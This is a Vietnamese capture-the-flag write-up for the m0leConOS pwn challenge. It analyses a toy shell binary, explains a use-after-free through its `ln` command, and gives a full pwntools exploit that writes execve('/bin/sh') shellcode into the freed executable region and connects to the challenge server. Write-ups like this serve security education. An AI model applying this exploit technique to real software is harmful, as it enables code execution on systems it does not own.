---
# System prepended metadata

title: Báo cáo lần 4
tags: [wu]

---

# Báo cáo lần 4
![](https://hackmd.io/_uploads/Hkqi-BISh.png)
- Chall này mô phỏng shell trên linux theo cách đơn giản. Nó có các option như ls, reset, touch, cp, rm, help, m0lecat(cat riêng của shell), exit.
- Khi mở shell sẽ luôn có sẵn một file `m0lecat`.
- Khi chạy vài lần mình nhận ra rằng `touch` ghi name file vào một địa chỉ trên binary và thông tin trong file được lưu trong mmap.
![](https://hackmd.io/_uploads/SyxcrSLS3.png)
- Ta sẽ nói qua về các lệnh trên shell.
![](https://hackmd.io/_uploads/SJFdHSIr2.png)
- Với `reset`, chúng sẽ nạp dữ liệu từ file `m0lecat` lên đoạn `mmap` được cấp phát tại `addr` rồi xet quyền thực thi cho địa chỉ này. Đây là lý do touch không tương tắc trên file vì trong `m0lecat` chứa `syscall_read`. Sau đó `name_file` và `addr` sẽ được đưa vào index 0
![](https://hackmd.io/_uploads/SJCqHBUSn.png)
- Ở hàm `ls` này chỉ in ra danh sách file.
![](https://hackmd.io/_uploads/Hy3WIBLr3.png)
- Hàm touch thì đã nói ở trên
![](https://hackmd.io/_uploads/S11OdHIHn.png)
- touch sẽ tạo cấu trúc như này
![](https://hackmd.io/_uploads/Hy12urUSh.png)
- `rm` thì xóa đi các file và giải phóng các con trỏ.
![](https://hackmd.io/_uploads/HyFyYSIH2.png)
- Hàm `copy` thực hiện copy index mới tuy nhiên giữ liệu sẽ được cấp phát lại rồi copy qua.
![](https://hackmd.io/_uploads/HJzDKHUr2.png)
![](https://hackmd.io/_uploads/H1eiKrUB3.png)
- Với hàm `ln` nó chỉ khác copy ở chỗ thay vì cấp phát mới thì nó đưa con trỏ chứ dữ liệu qua id khác, điều này có thể gây ra lỗi `UAF`.
![](https://hackmd.io/_uploads/ryj19BIrh.png)
- Hàm `cat` này khá đặc biệt, hàm này thực thi dựa trên đoạn `syscall_write` được nạp và `addr`. Tuy nhiên nếu dữ liệu có format `ptm{` sẽ in ra `Nice try`.
- Index 0 sẽ là `m0lecat` và địa chỉ shell. Do không thể `rm` hay `touch` vơi index 0, nên ta không thể tạo mới vùng shell này theo ý muốn. Tuy nhiên ta có thể copy địa chỉ shell này bằng `ln`.
- Tiếp theo ta sẽ giải phóng đoạn shell này, một cơ chế cấp phát lại để tiếp kiệm bộ nhớ do đó lần cấp phát tiếp theo bằng `touch` ta sẽ có địa chỉ shell và ghi `shellcode` tùy ý vào.
- Sau khi ghi `shellcode` vào thì gọi `cat` để thực hiện shell
```python
#!/usr/bin/python3

from pwn import *

exe = ELF('m0leConOS_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: r.sendlineafter(msg, data)
sa = lambda msg, data: r.sendafter(msg, data)
sl = lambda data: r.sendline(data)
s = lambda data: r.send(data)

def ln(fr, to):
    sla(b'# ', b'ln')
    sla(b'from: ', fr)
    sla(b'to: ', to)
    
def rm(file_name):
    sla(b'# ', b'rm')
    sla(b'Filename: ', file_name)

def touch(file_name, data):
    sla(b'# ', b'touch')
    sla(b'Filename: ', file_name)
    sa(b'> ', data)
    
def m0lecat(file_name):
    sla(b'# ', b'm0lecat')
    sla(b'> ', file_name)
    sl(b'a')

def GDB():
    gdb.attach(r, gdbscript='''
        b*0x55555555541a
        b*0x5555555567f5
        c
    ''')


if args.REMOTE:
    r = remote('m0leconos.challs.m0lecon.it', 6745)
else:
    r = process(exe.path)
    GDB()

ln(b'm0lecat', b'chino')
rm(b'chino')

shellcode = asm('''
        xor rdx, rdx
        xor rsi, rsi
        mov rax, 0x0068732f6e69622f
        push rax
        mov rdi, rsp
        mov rax, 0x3b
        syscall
                ''')
touch(b'chino', shellcode)
m0lecat(b'flag.txt')

r.interactive()
```
![](https://hackmd.io/_uploads/ByaVaBLHh.png)
![](https://hackmd.io/_uploads/BkbLTHIB3.png)

- racecar https://hackmd.io/@lephuc2712/KCSC-CTF-2023#PWN